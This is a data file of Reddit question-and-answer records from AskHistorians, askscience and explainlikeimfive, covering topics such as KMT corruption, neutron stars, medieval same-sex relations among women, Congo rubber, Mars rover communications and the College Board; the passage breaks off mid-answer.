{"q_id": "17sm1h", "title": "Is it reasonable to draw comparisons between the corruption of the Chinese Nationalist Party of the 1930s-40s and the Communist Party of today?", "selftext": "Sorry if this is considered a violation of the 20 year rule.  Will delete if so.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/17sm1h/is_it_reasonable_to_draw_comparisons_between_the/", "answers": {"a_id": ["c88iluz", "c88jd25", "c88jz0j", "c88kkyr"], "score": [9, 4, 4, 5], "text": ["You can always draw connections.  However, this is a number of such comparisons made by a Chinese netizen illustrating his/her point through propaganda cartoons from the past.\n\n_URL_0_", "This definitely does violate the 20-year rule. Luckily (?), noone has really answered the question, so no problems have arisen... yet.\n", "The CPC (Communist Party of China) under Mao had distinct differences between itself and true Marxism, much like Lenin, Mao created a separate ideology specific to China, Maoism. The main focus of Maoism was that it was a communism based on agriculture and a massive population, rather than the much more industrialised version that Karl Marx had thought was needed. Other than this, Mao's fundamental idea was one of continuing revolution, that the failure of the USSR was not due to a lack of ideals, but due to complacency, that the younger generations lacked the zealousness that the revolutionary generation had.\n\nFor the most part Mao was actually pretty successful in his idea of 'continuing revolution' we can see this especially happen in the Cultural Revolution led by Jiang Qing from 1966 to 1971, or possibly up to Mao's death in 1976. However when Mao Zedong and his successor Hua Guofeng lost power, this idea fell off almost completely. \n\nDeng Xiopeng, and Zhou Enlai the successors to Mao's CPC were much more orientated with economic success than ideological success, this was mostly the reason for Deng's downfalls during Mao's reign. Thus the corruption of the CPC comes from two places, one in the corruption of Marxism by Mao Zedong, and one in the form of a \"rightist\" movement by Mao's successors Zhou Enlai and Deng Xiopeng. After Mao, China became much more outward looking, we see the economy boom for the first time since the 1950's and we see the economy become the focus, rather than the ideological divide that Mao was focused on. \n\nMao was a leader who could never find a successor as devoted as him, he was an individual that held ideology above all else and that is where the corruption (In Mao's eyes) would have come, where compromising one's ideology just was never an option\n\nSorry if I'm going over the 20 year rule, it's difficult to answer the question without it.", "(I'm going to try and answer this question without violating the 20 year rule)\n\nNo, I don't think it's fair to draw that comparison, for several reasons.\n\n1) Drawing comparisons across history is always very messy business. Changes in technology, international norms, and economic power make any discuss of \"corruption\" extremely imprecise. \n\n2) How do we define/measure corruption? AFAIK metrics like the Corruption Perceptions Index didn't exist until the later half of the 20th century. Moreover, our ability to gather data has increased ten-fold in the past few decades.\n\n3) Finally, to answer your question most directly, you have to understand just how utterly pathetic the KMT regime was during the 1930s. Throughout the 1920s, Chang Kai-Shek had effectively hobbled together a military alliance of warlords and political factions with the ultimate goal of \"reunifying China.\" While this complex strategy of alliances and localized power bases may have made for an effective military campaign, peacetime was much more complicated. By the late 1920s and early 1930s, the KMT regime spent considerable resources consolidating its power. Events like the Central Plains War, the Communist Insurgency and Japanese expansion into Manchuria greatly undermined the fledgling regime.\n\nSo now we've arrived in the 1930s. The KMT have been fighting off local insurgencies and uprisings for several years now. Every year it seems like the Japanese push a little further into China and demand a little more. The state of the KMT army is mediocre at best, woefully unequipped at worst (they've received military aid from Germany but their equipment and training pales in comparison to Japan's).\n\nMy ultimate conclusion on the matter is this: The KMT regime simply lacked the political legitimacy, military firepower, and economic expertise to effectively run China. By the start of the Second Sino-Japanese war there are widespread famines, massive inflation for even the most basic goods, and KMT infantry marching without footwear or coats. Most of the warlords Chiang had subdued in the previous decade have either been killed, turned into Japanese puppet rulers, or in open revolt against the KMT. Over the course of the war both the KMT and the CCP essentially abstain from any major fighting against the Japanese so they can stockpile weapons for the inevitable civil war. This in turn led the average Chinese citizen to rightly think that the KMT really didn't represent them or their best interests.\n\n**TL;DR: Calling the KMT corrupt is a bit of a misstatement. Corruption was simply a by-product of an utter lack of political willpower and military control over the territory they supposedly ruled.**   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.chinasmack.com/2012/pictures/1950-communist-propaganda-comic-predicts-china-60-years-later.html"], [], [], []]}
{"q_id": "5vkuna", "title": "If a proton was fired into a neutron star, what would happen? And why would it not just be the largest hydrogen atom in the universe?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5vkuna/if_a_proton_was_fired_into_a_neutron_star_what/", "answers": {"a_id": ["de35t16", "de3c3gw", "de3tzy3"], "score": [19, 34, 6], "text": ["Neutron stars are made up primarily of neutrons but not entirely. Importantly, however, is that it's not just one neutron. If you fire a proton in, any number of things could happen. It could combine with a free electron and form a neutron ([direct URCA process](_URL_1_)). It could also combine with a different nucleon (perhaps an iron nucleus in the crust) and still yield a neutron (see the [modified URCA process](_URL_0_)).", "Neutron stars are not in some kind of absolutely perfect equilibrium between protons and electrons, so the effect would just to be adding a very small mass with a  very small charge. \"Pissing into the ocean\" springs to mind. ", "FYI Neutron stars are not only neutrons, [see for example this picture](_URL_0_).  Also note that protons emit a positron and a neutrino and transform into a neutron, which might be energetically favourable inside a neutron star."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://adsabs.harvard.edu/abs/1995A%26A...297..717Y", "https://en.wikipedia.org/wiki/Urca_process"], [], ["https://commons.wikimedia.org/wiki/File:Neutron_star_cross_section.svg"]]}
{"q_id": "97msbo", "title": "Are there any written accounts of lesbians in medieval and renaissance times?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/97msbo/are_there_any_written_accounts_of_lesbians_in/", "answers": {"a_id": ["e49irl8", "e4smquh"], "score": [6, 3], "text": ["While you're waiting, /u/sunagainstgold talks about this here:\n\n[How different were sexual positions from different eras like the middle ages from now?](_URL_0_)", "Great question!\n\nWhile I can not speak for Medieval Europe, I can shine some light on what Middle Eastern authors had to say about lesbians and other queer women in the Middle Ages.\n\nSo to begin with it is worth pointing out that modern sexual identities are just that, modern, and they are often inadequate to describe ideas of sexuality, eroticism, desire, and identity in the premodern world. This is not to say that social and sexual roles did not play an important role in shaping premodern identities, just that Medieval women and men would have interpreted themselves in a very different way than we might today.\n\nThe term \u201clesbian\u201d is actually a good example of the limitations of projecting modern sexuality onto the past. it was coined in the 19th Century and is derived from later interpretations of the 7th Century BC poet Sappho, a native of Lesbos, as a queer woman. By the early 21st Century, it has acquired many different connotations and transformed into a distinct sexual identity with associated subcultures. Not to mention that exactly *who* counts as a bona fide lesbian is an endlessly moving goalpost. For instance, is it unfair to leave out women who might have been sexually intimate with both men and women by defining \u201clesbians\u201d as those women who are exclusively attracted to women? Can we include sexual attraction in the absence of sexual contact between women, and if so how do we go about finding certain examples of this with our limited body of evidence? Equally important, modern conceptions of \u201clesbianism\u201d carry strong associations with contemporary feminist thought and gender studies, ideas which would have been totally alien to the Medieval world. To be a \u201clesbian\u201d would have meant something quite different to a woman in the Medieval world than what it might mean to women in the 20th/21st Century.\n\nNevertheless, Medieval Arabic had many terms that are broadly equivalent to the term \u201clesbian\u201d in the sense that they refer to women who were sexually or romantically attracted to other women and who pursued same-sex relationships. If I were discussing ancient Greece or the Roman Empire, this is the point where I would add a disclaimer about how sexual identities and subcultures based around sexual identity did not exist, but this is not strictly speaking true of the Medieval Islamic world. This means that we can piece together an answer to your question and for the sake of brevity and clarity I am going to use the term lesbian as a broad umbrella for homosexual women and same sex relationships between women.\n\n#Part 1/3: Lesbians and lesbian identity in the Medieval Islamic world\n\nReligion obviously played a key role in dictating the ethics and morality of sexuality in Medieval society, but it is equally clear that religious ideals changed dramatically over time and that they did not always line up with reality. Medieval Islamic literature is not entirely straightforward in its attitudes towards same-sex desire but it appears that religious prohibition of homosexuality did not become a major influence over sexual expression until at least the 13th Century. \n\nFirstly, it is important to note that lawful sex and sexual desire as a whole was viewed quite positively in Medieval Islam whereas it was more or less a necessary evil to Medieval Christianity. This more generally sex positive attitude probably played a large role in the relatively more lenient attitudes towards homosexuality. By and large the unforgivable sexual sin in the Medieval Islamic kind was adultery, and this occurred between a man and woman. Male homosexuality, particularly anal penetration, is often compared to adultery in Islamic jurisprudence. *Sahq* was similarly seen as criminal, but warranting a lighter punishment than *liwat* (sodomy) or *zina* (adultery). \n\nThe religious condemnation of homosexuality seems to have been largely ignored by society as a whole at times during the Medieval and Renaissance periods. Homosexual relationships, crossdressing, and genderqueer identities were openly celebrated by the upper levels of Islamic society during the Abbasid and Mamluk periods, among them lesbian sexualities and female crossdressing. This contributed to the production of an overwhelming abundance of homoerotic poetry in Islamic cultural centres in the Near East, North Africa and al-Andalus. This is not to imply that any kind of post-gender or sexually egalitarian society existed, far from it, just that sexual mores and acceptable behaviours extended far behind the limitations of strict religious prohibitions.\n\nMedieval Islamic perceptions of lesbians did not develop in a vacuum, they drew heavily from pre-Islamic Near Eastern and Classical Graeco-Roman thought. To my knowledge, Medieval European discourse on sexuality also drew from Graeco-Roman literature in addition to Christian morality. We can see parallels in Medieval Islamic and Graeco-Roman thought in the terminology used to describe lesbians and lesbian-like women. Many of the Arabic terms for female same-sex activities and orientation (for example *sahq* meaning lesbianism, and *sahiqa*, *musahiqa*, *sahaqa* meaning lesbian) are etymologically derived from roots which denote \u201crubbing\u201d or \u201cpounding\u201d (as in pounding or grinding spices). Greek and Latin terms (like *fricatrix* and *tribas*) have similar roots in their respective languages. The origin of these descriptive terms is fairly self-explanatory, they connote the physical aspect of sexuality, something which is fairly common for both languages. Other terms like the Arabic *nisa\u2019 mutarajjilat* connote masculinity and describe a woman with manly virtues or characteristics (a Latin equivalent to this term might be *virago*).\n\nThe etymology of these former of these terms ties back into the medical and anatomical explanations that ancient and Medieval authors had to offer for homosexuality. Mild NSFW warning because while I will try to avoid explicit discussion of sex I am going to briefly dip into Medieval medical theory concerning sexual orientation and intercourse. The 2nd Century AD physician Galen was supposed to have diagnosed the cause of lesbianism in his daughter as an \u201citch\u201d between the major and minor labia. The only way to relieve this \u201citch\u201d was by rubbing, particularly rubbing against another woman\u2019s labia in order to \u201ccool\u201d it. This theory is echoed by the 9th Century scholar al-Kindi who claimed that:\n >  Lesbianism is due to a vapor which, condensed, generates in the labia heat and an itch which only dissolve and become cold through friction and orgasm. When friction and orgasm take place, the heat turns into coldness because the liquid that a woman ejaculates in lesbian intercourse is cold whereas the same liquid that results from sexual union with men is hot. Heat, however, cannot be extinguished by heat; rather, it will increase since it needs to be treated by its opposite. As coldness is repelled by heat, so heat is also repelled by coldness.\n\nMedieval Islamic literature took this medicalization of lesbian desire in other directions by postulating pre-natal causes of lesbianism. Namely, the consumption of certain foods by nursing women was believed to pass through the milk and cause labia itching, and therefore life-long lesbianism, in infants. The interesting thing about all of these theories is that lesbianism was viewed as an innate, biological, reality which could not be reversed or cured. Obviously, the medical theory behind these diagnoses was *far* from sound but it is significant that these authors believed that homosexuality was something which occurred naturally in certain individuals rather than an affliction or perversion. This is reinforced by other Medieval Islamic literary traditions which mention homosexuality in humans and animals.\n\n*Asl al-Aila al-Arabia* cites the 8th Century scholar al-Jaheth who reports homosexuality and bisexuality as a natural condition in both male and female pigeons as well as humans. This is succinctly summed up in one line:\n > There are men who do not want women, and women who do not want men.\n\nHowever, fixating on physical acts and outright desire makes the task of identifying lesbians in Medieval literature a bit difficult, because it limits our scope to women who actively engage in sexual relations with other women. This leaves out, for instance, unfulfilled same sex attraction as well as romantic friendships and non-sexual intimacy. We must also take care when figuring out where, when, and if we draw the line between strong platonic emotional attachments, homoerotic interactions, and homosexual relationships. \n\n**Continued below:**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/60nd10/how_different_were_sexual_positions_from/"], []]}
{"q_id": "d0heac", "title": "How vital were Belgium controlled rubber exports from Congo in the early production of cars?", "selftext": "I've been doing a bit of digging because of a question I had; how different would the 20th century have been without the atrocities in Congo Free State? According what I've read in some sources from the late 1880s to somewhere around 1900-1915 Congo was a very, very large player in the rubber market after Brazil couldn't meet demand but before Malay joined production. \n\n\nHowever, when discussions of rubber usage come up they very rarely mention Congo as a part of the network. (for example, [this Encyclopaedia article](_URL_0_) doesn't even mention the word Congo once)\n\nCar production really started ramping up in the early 1900s, with the Ford Model T being launched in 1908. However from what I've read British Malay Rubber didn't properly hit it's stride until 1910-1911 ish. \n\n > Between 1905 and 1911 the annual increase was over 70,000 acres per year, and, by the end of 1911, the acreage in the Malay States reached 542,877 (Baxendale, 1913)\n\nSo, how much did Congo contribute to the early tires? Was it essential to development or was it a minor player?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d0heac/how_vital_were_belgium_controlled_rubber_exports/", "answers": {"a_id": ["ezman1j"], "score": [5], "text": ["That's a very good question. We do have to make a distinction between Congo under the rule of Leopold II and subsequently under the rule of the Belgian government, a transfer of power which occured in 1908. The Congo Free State existed between 1885 and 1908 and it was run like a private company focused on efficiency with no regard for human costs. The way Congo was run by the Belgian government after the reign of Leopold II was still very much troubled by systemic racism and colonialism, it was run more like an actual country in stark comparison with the Congo Free State. When the Belgian king Leopold II took control of Congo, he recruited a few experienced Belgian civil servants to help him build out the colony, but they were essentially there to enforce his will. The Force Public, which was the army through which Leopold II exerted control, had internationally recruited white people in positions of power while the lower ranks were locally recruited black people. The fact that Congo - a vast amount of land with rich resources - was under the control of Belgium, was not to the liking of many other European countries. It didn't help that Leopold II had made a lot of promises to neighbouring countries regarding the profits of his Congo project.\n\nAlso, it's important to note that these were times when governmental control was still very much reserved for the elite. You have to keep in mind that universal male suffrage wasn't really all that widespread yet, certainly not in the United Kingdom where the governmental body was mostly made up of entrepreneurs or nobility. The same can be said for Belgium to some extent. While Belgium did have a long history of grassroots power structures, their version of universal male suffrage dbetween 1893 and 1918 was still plural voting. This meant that you gained extra votes for paying more taxes or having more money, up to a maximum of three votes.  Before 1893 there was \"cijnskiesrecht\", which attributed votes only to those with a lot of capital. I'm certain that there's a name for it in English, but it's not my native language.\n\nSo many political decisions were guided by the interests of these entrepreneurs who were a part of the governmental bodies for both Belgium and the United Kingdom. This is evident from the actions by Cecil Rhodes, a British entrepreneur who became the Prime Minister of the Cape Colony under Brittish rule. He pushed to take control of the southern regions of Congo to further his own interests. He wasn't the only British entrepreneur who took issue with the rubber coming from the Congo and the pressure from within the British government to overthrow Leopold his rule kept mounting. Leopold II viciously pushed his staff and the locals to offer rubber at dump prices on the international market. The Congo Free State was chronically understaffed and everyone involved was being pushed beyond the limits of what's possible and humane. While the humanitarian issues certainly played a big role in the downfall of Leopold II his Congo project, it was heavily influenced by his competitors within the British government.\n\nTo answer your question, the rubber trade stemming from the Congo Free State was a major player on the rubber market. So much so that British entrepreneurs heavily pressed towards removing Leopold II from his Congo project and not just for humanitarian reasons. It's not a coincidence that the rubber trade from Malaya by British companies mostly took off shortly after Congo was transfered to the Belgian government. The reason as to why you can't find a lot of information on it is because there aren't too many sources on this. The Congo Free State was run like a private company during a time when international companies were absolutely lawless - unlike today *ahum*. There simply isn't a big paper trail. However, there's still a good amount of historical research on this specific question and I can certainly recommend you some. The only problem is that most of it is written in either Dutch or French and mostly behind paywalls for those who aren't affiliated with universities. So do you speak either of these language and do you have access to a university library? There are certain more popular books translated to English, but while they are certainly worth a read they aren't always as academically sound."]}, "title_urls": [], "selftext_urls": ["https://eh.net/encyclopedia/the-international-natural-rubber-market-1870-1930/"], "answers_urls": [[]]}
{"q_id": "2nbe1d", "title": "How direct is the correlation between psychological and physiological changes in the brain?", "selftext": "For example, If I were to change the way I feel about a certain idea, lets say abortion (for lack of a better example right now), what would the corresponding physiological change be? Would certain neurons/parts of the brain undergo change? and if so what would these changes be?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2nbe1d/how_direct_is_the_correlation_between/", "answers": {"a_id": ["cmc72ft"], "score": [12], "text": ["The mind is the product of the brain. Everything in our mind is contained in the brain. Any change in the mind is going to be reflected in some way in the brain. This could be changes in the biology (new synapses, change in firing, change in neurotransmitters, etc).\n\nWe don't know what the specific changes are that are involved in something as complex as a change in opinion, but it's all in the brain somewhere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "56h9dd", "title": "why is it frowned upon to take food home from a restaurant in europe? it is so commonplace in north america", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56h9dd/eli5_why_is_it_frowned_upon_to_take_food_home/", "answers": {"a_id": ["d8j8ij2", "d8j91dh", "d8j93d2", "d8j93i3", "d8j9bxs", "d8janlr", "d8jb11l", "d8jb1e7", "d8jbpt1", "d8jchut", "d8jep5y", "d8jetr4", "d8jgxkz", "d8jh3vf", "d8jha47", "d8jljfg"], "score": [108, 9, 84, 8, 17, 4, 34, 41, 9, 4, 8, 4, 3, 6, 2, 3], "text": ["We don't see it as the classiest thing to do at a restaurant. Silly I know, we've paid for it and we could take it home, but it just feels like a social wrong.", "It depends on the country and class of restaurant, really. If it's a pizzeria and I ate half of the pizza, sometimes the waiter suggests if he should put it in a box for me. In Slovenia, or at least as I remember it, even packaging up your meal was considered normal in mid-tier restaurant. I wouldn't do it in a classy restaurant, though. But I welcome it, it seems like a waste to throw the food away.", "Me and my gf usually get things to bring home and there's never a fuss... \n\n\nI also used to work in a fancy Indian restaurant and customers would bring leftovers home all the time too. \n\n\nI'm in Ireland, guess it just depends on the country. ", "I suspect it was something that America transitioned into, because long ago you would ask for a doggie bag, as if you were going to take it home to feed to your dog.\n\nThese days, a doggie bag is for a completely new and different purpose. But in a way, I guess it's still taking food 'to go'", "A lot of people in the UK for instance are taught to clear their plate. At least my family and other families I know were taught this. \n\nThis could mean that there is little food left over worth taking home. ", "If you're trying to cut back your consumption, in the US diet sites recommend that you ask for your to-go box when you get the meal. Place half your food in it immediately, then eat the rest. ", "I don't think it's socially unacceptable. Just not done. If you bring it up we'll all agree it should be OK.\n\nI went to a restaurant and my wife immediately felt ill after ordering. Food came and she has to leave and go outside. I asked in this occasion and they had no issues giving us the food home. They weren't a delivery place and had boxers specifically for this.\n\nEdit: this autocorrect is to perfect to fix. It remains.", "Portion sizes, in most cases, in the U.S. are larger. My guess is it has naturally become commonplace in the U.S. to take food home from a restaurant due to that.\n\nI'm from the U.S. and I've visited France, Germany, Ireland and Spain. From my experience, portion sizes are smaller. This is just my personal experience. The only place I received rude expressions taking food home was when I was in France. But then again, this was on the outskirts of Paris.\n\nI'd say it's location (country and restaurant) dependent.", "is it? i've literally never had a problem with it. maybe it depends on the country, different parts of the continent have different cultures and traditions", "If you're going to a restaurant, especially an expensive one, and if you're going there to show off your class or wealth, then taking the leftovers home with you might give the impression that you don't have food at home, or can't afford to feed yourself. Basically, you're not as rich as you're pretending to be. When I go to an expensive restaurant, I've been saving up to go there, and I'm going for the food. And you're damn right I'm bringing whatever is left back home with me! ", "\"Europe\" is an idea.  What happens in Norway might not happen in Sweden, probably won't happen in Germany, and could be worlds away from Italy.  It's more of a continuum of cultures with varying degrees of commonality, made more common by the EU and such.  There are some countries where one can take food home easily, such as Ireland or the UK (at least where I've been).\n\nI think what might contribute to the perception is that a lot of people in restaurants can be from other countries since it's such an easy way to go to another country (remember they have the right to travel and work elsewhere) and you might get a reaction from a waiter that isn't entirely typical.", "I can't attest to why it's frowned upon, but that seems pretty absurd to me. Unless the portions are perfect, you either overeat or waste food. Taking food home from a restraunt is one of the most important habits for maintaining a healthy weight that you should do for the rest of your life. If I pay for the food I do what I want with it regardless of what other people think.", "I know in Asian it's a politeness thing. It's \"rude\" to not finish your food, much less take it home. Eating out is also a social thing, you almost never eat at home. ", "Funny that so many people are blaming portion sizes. My experience in Italy was all over the board. In America, we have appetizers, main course, and dessert. Over there, they have an extra pasta course on top of that, and from what I understand, it's very common to order at least 3 of the four courses. That's a lot of food! My husband has family there, and he says that every single meal with his Italian family was a literal feast; several courses being served for hours, including palate cleanser courses. I got to experience it when I went with him, and it was way, way too much food. \n\nOn one occasion, we ordered an antipasto plate to share, thinking it would just be a snack until dinner, and it was several large wedges of cheese in addition to other food. There was no way we could even come close to finishing all that cheese. We asked for a box to put it in, and they said they had none. We couldn't bear to waste all that cheese, so we wrapped it in our napkins and stuffed it in our bags.\n\nUsually, when we would go out on our own to eat, we would get either the pasta course or a pizza  (which were all about 12\" pizzas meant for one person), and it would be the same portion that you get most places in America. Sometimes we would get a starter, too. The difference is that if you grew up there, you would most likely also be getting the main course, as well. So, if we're talking amount of food, it was comparable or more than what you get in America.\n\nIncidentally, the only restaurant we could get a to-go box in was this American-style BBQ place that our relatives took us to. It was also an insane amount of BBQed meats they gave you; no one could've finished it all. I guess they thought that's what they do in America, and were trying to make it authentic. It was the least impressive food we had the whole trip.", "I can think of some restaurants..  Namely Georgia Browns here in DC, where you actually order two meals.  One for eating at the restaurant,  which also has a ridiculously awesome buffet,  the other for taking home. The second meal comes already boxed up usually. ", "Here in Canada (as in the U.S.) it is commonplace to ask any leftovers to be boxed up so they can be brought home.  Personally, I think this shows a lot more class than gorphing all the food brought to you like an uncultured glutton, or worse, leaving it at the table as a sign that you are an entitled elitist who cares more about pretentiousness than about being wasteful.  Bringing the excess food home demonstrates you are neither of these things... Something that is probably lost on the 'gimme gimme' generation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "19nkbz", "title": "How does Curiosity stay in contact with Earth when Mars is on the opposite side of the sun?", "selftext": "I know the Mars rover is equipped with radios. But while Mars is on the opposite side of the sun, wouldn't the signal have to travel through the sun to reach Earth directly? How do they manage to overcome this problem?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19nkbz/how_does_curiosity_stay_in_contact_with_earth/", "answers": {"a_id": ["c8poahn", "c8pok67"], "score": [5, 145], "text": ["Here are two articles discussing what they do when that happens:\n\n* [One](_URL_1_)\n* [Two](_URL_0_)", "Mostly, they don't. This event, called a solar [superior conjunction](_URL_2_) with Mars, is relatively rare, and so we manage to keep mostly-continuous communication with Mars orbiters and probes. Before explaining what happens in a solar conjunction, it's worth taking a deeper look into the MSL/Curiosity telecommunications system. NASA has a nice overview [here](_URL_4_), and I'll summarise below.\n\nThere are two ways we can communicate with Curiosity:\n\n* **X-band:** these are direct uplink/downlink Earth-Curiosity communications, on a frequency band of approximately 7-8.5 GHz (called X-band), using two antennas - the RLGA (Rover Low-Gain Antenna), which cannot be oriented, and the HGA (High-Gain Antenna), mounted on gimbals. Transmission to Earth is done through the HGA, coupled to a solid-state amplifier at 15 W. This nets us data rates of up to 32 kbit/s.\n\n* **UHF:** these are Curiosity-orbiter (the Mars Reconnaissance Orbiter or the Odyssey) communications, which are the primary system used for surface operations. They use frequencies in approximately 350-450 MHz. The MRO is the primary relay. Both orbiters are in view of Curiosity for about eight continuous minutes per sol (Martian day). The data transfer is done at adaptive data rates, and it can go up to 2 Mbit/s to the MRO. The orbiters can then relay the data to Earth, as well as receive data from us to relay to the rover.\n\nDuring a conjunction, such as [this one](_URL_0_), there are two problems.\n\n* **Partial occlusion:** while we can still see and communicate with the orbiters (and therefore with the rover), the signal is likely to be degraded by solar flares and the solar corona. In this case, communications are mostly shut down as a matter of precaution (rogue data could, however unlikely, cause undesired after effects in the systems), but NASA uses the time to measure performance of error-correction and redundancy under stress.\n\n* **Total occlusion:** we can't see neither the rover nor the orbiters. This only happens for a few days (in the superior conjunction of 2023, we expect signals to completely disappear behind the solar disk for one day, and be within two solar radii for three days), and in this case there's really nothing we can do but wait.\n\nI don't know if gravitational lensing can have any relevant impact on communications during a conjunction, but I would imagine the effects mentioned above would corrupt the data too much to be of any use even when it got here. Hope this helps!\n\n---\n\n**Sources:**\n\n* Markovsky, A., Ilott, P., and Taylor, J., \"Mars Science Laboratory Telecommunications System Design- Article 14\". DESCANSO Design and Performance Summary Series. Pasadena, California: Jet Propulsion Laboratory - NASA. November 2009. ([PDF](_URL_3_))\n\n* Morabito, D., and Hastrup, R., \"Communications with Mars During Periods of Solar Conjunction: Initial Study Results\". IPN Progress Report 42-147, NASA. November 2001. ([PDF](_URL_1_))"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.space.com/10684-mars-rover-opportunity-solar-conjunction.html", "http://www.nasa.gov/mission_pages/mer/news/mer20110120.html"], ["http://www.nasa.gov/mission_pages/mer/news/mer20110120.html", "http://tmo.jpl.nasa.gov/progress_report/42-147/147C.pdf", "http://en.wikipedia.org/wiki/Conjunction_(astronomy\\)", "http://descanso.jpl.nasa.gov/DPSummary/Descanso14_MSL_Telecom.pdf", "http://mars.jpl.nasa.gov/msl/mission/communicationwithearth/"]]}
{"q_id": "1oiizk", "title": "how has college board, a for profit company, managed to become so essential to getting to college through the use of ap classes and the sat/psat?", "selftext": "Many colleges require the SAT to apply for their school. And the majority of colleges look at the number of AP classes taken when admitting a student. How does a for profit company have such a monopoly on getting in to college? \n\nEdit: Holy cow, this took off. I never imagined my being incredibly frustrated over PSAT prep would become a hug ELI5 topic. Thank-you all!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1oiizk/eli5_how_has_college_board_a_for_profit_company/", "answers": {"a_id": ["ccs8tto", "ccs92qv", "ccsac49", "ccsbegl", "ccsbv36", "ccsc6hi", "ccsc84n", "ccscprn", "ccsdc6k", "ccse1hr", "ccselzi", "ccsetzp", "ccsf4e7", "ccshlm2", "ccsi18x", "ccsi2y9", "ccsiffv", "ccsinz3", "ccsjcfp", "ccskgws"], "score": [25, 552, 978, 85, 2, 10, 2, 16, 6, 20, 3, 5, 9, 3, 2, 2, 5, 4, 6, 2], "text": ["Can I add ETS for the GRE, LSAT, MCAT, etc. to go to grad school?", "Quite frankly, because we haven't found a better way to quantify student applicants. At my university, we get a ton of applicants and need some easy way to identify which students show college readiness. (It's not a great system, but there's nothing better out there.) The College Board has been around for a long time, and they have created a product that universities have come to rely on out of habit; there isn't a better product out there currently for simplifying what we look for in an applicant pool (besides the ACT, which is actually now taken by more college-bound students than the SAT).\n\nNot only do they own those tests, they also for years owned some key recruiting software that a lot of colleges used in order to process their applicants. It's just now been discontinued, but the College Board definitely has their hand in both the students' and colleges' wallets.\n\nSource: I am the assistant director of admissions at a university.", "Please note that the College Board is [registered](_URL_0_) as a 501(c)3 company, and thus is a non-profit. ", "It's not a monopoly, as the College Board has competitors (ACT, IB exams). But it's pretty standard capitalism nonetheless. College Board saw a need for standardized entrance exams, and schools found value in using them. College Board continued to pour their efforts into becoming indispensable.\n\nWhat would the alternative be? We could have a public, government-run entrance exam. And we actually do have a number of standardized tests in the public school system. But that would be a bit like relying on just UPS and FedEx for decades, then trying to replace both of them with the USPS. It's not usually how we operate. The US government is not in the habit of providing services which are already being provided in the private marketplace.\n\nThe other alternative would be to get rid of standardized testing altogether, but that's a pipe dream.", "When took the SAT in the early 80's, there were three parts. The first two were the regular SAT and then there was a third part. They explained to us in the beginning that the third part didn't count for anything and wouldn't be sent to the colleges where we applied. It contained potential questions for future tests or something.\n\nFuck that. I was tired after an already long day of testing and as far as I was concerned, they could fucking pay me if they wanted me to do their own research for them. I randomly filled in the bubbles which took just a few minutes and then took a nap.\n\nIt was hilarious when I got back my results. I got over the 90th percentile on the first two parts and like in the 20th percentile on the last one. I am sure that they took one quick look at that and excluded my results from the study. What's most amazing is that like one out of every five kids who had aspirations of higher education did worse than I did. ", "Created an account to comment on this.\n\nWhile a lot of other people  have indicated that CB has been around for a while, and colleges/universities rely on the product CB created, there's a step missing that really precludes competition from creating a strong foothold to compete, and that's market saturation. \n\nColleges, and more accurately, major universities, like any flagship State U. receive applications from all over the country/globe. They have to have a standardized test that everyone is willing to take, has access to, and places in it their faith that it's an accurate representation of prior skill, and, therefore, higher education potential and success.\n\nTry to imagine the amount of resources that would be required to compete with that. The first step would be to create a standardized test which accurately models higher education success (immediately a stumbling block). Then you would have to convince a) universities to accept it as predictive and b) students to [pay to] take it. On a national scale. To be fair, you could start at the state level, with a state legislature mandating that state colleges  &  universities switch to this new test, but there would be a tremendous amount of blowback from the schools. This would also hurt in-state students trying to apply to major schools outside their state (Harvard, Princeton, etc.) since they would now have to take even more tests which may vary in their style and methods.\nOne of the best theoretical competitors to AP is early college, or dual enrollment, as it's known in some places. That's a separate conversation, though, since the emphasis on this discussion seems to be SATs.\nSource: Director of Institutional Research at a community college.", "ACT's exist and almost all colleges accept them. Ap classes are a very useful product that simply have no good enough competition (ib exists and some colleges accept them for credit but in general ap is a lot better than ib on a class by class basis).", "You don't have to take the actual AP test to get the benefit of taking the class insofar as college applications go.  Most of my senior year classes in High School were AP classes but I never actually took the tests themselves.  By the time the tests came around I had already been accepted into my first choice school, and I had no use for the tests (unless you know your school will count the credit towards freshmen general classes).\n\nI'd simply say that AP Classes, along with standardized testing in general, is popular simply because it provides *some* kind of common baseline by which to compare students across the country.  If every district and every college has its own tests and own standards, then taking the various tests would be torture on the students and comparing results would be torture on the schools.  Like the competition between competing technology standards (HD-DVD vs Blu-Ray, VHS vs Beta-Max, etc) once a private standard gains the upper hand the competition is basically over due to time and money.", "If you want an actual answer you should check out the book The Big Test by Nicholas Lemann, which traces the history of the College Board from its inception. Or if you don't want to read a book you can just google the New Yorker or whatever article that sums it up in a couple pages.\n\nThe stuff about the 'large amount of students' thing isn't exactly how it all got started/\"managed to become\" the way it is, although it's relevant to why it's remained, certainly, especially after the test started to catch on. (Private/selective) college used to be not so much about competition and getting as many applicants as possible, it used to be who you knew, who your parents were, etc, and not your academic achievement so much. People went into their parents' trades anyway if they were rich enough to get into something like an ivy (and the ivies is where the testing started). The people who started formulating the idea of standardized tests had ideas in mind about creating a meritocracy that sort of broke the more economically stratified way of getting admissions, essentially trying to create a Multiple Intelligences test, that could test smarts as well as well rounded appreciations like art, etc. They only got to the pseudo-intelligence test phase by the time it was already really quite popular, for reasons you might imagine. It definitely marked a shift in college admissions to being more inclusive, at least in the beginning.\n\nThe ACT was made more recently as competition to the SAT's model, the ACT focusing more on learned material rather 